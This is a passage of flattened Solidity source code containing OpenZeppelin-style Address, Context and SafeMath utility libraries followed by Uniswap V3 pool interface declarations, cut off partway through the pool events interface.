/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev 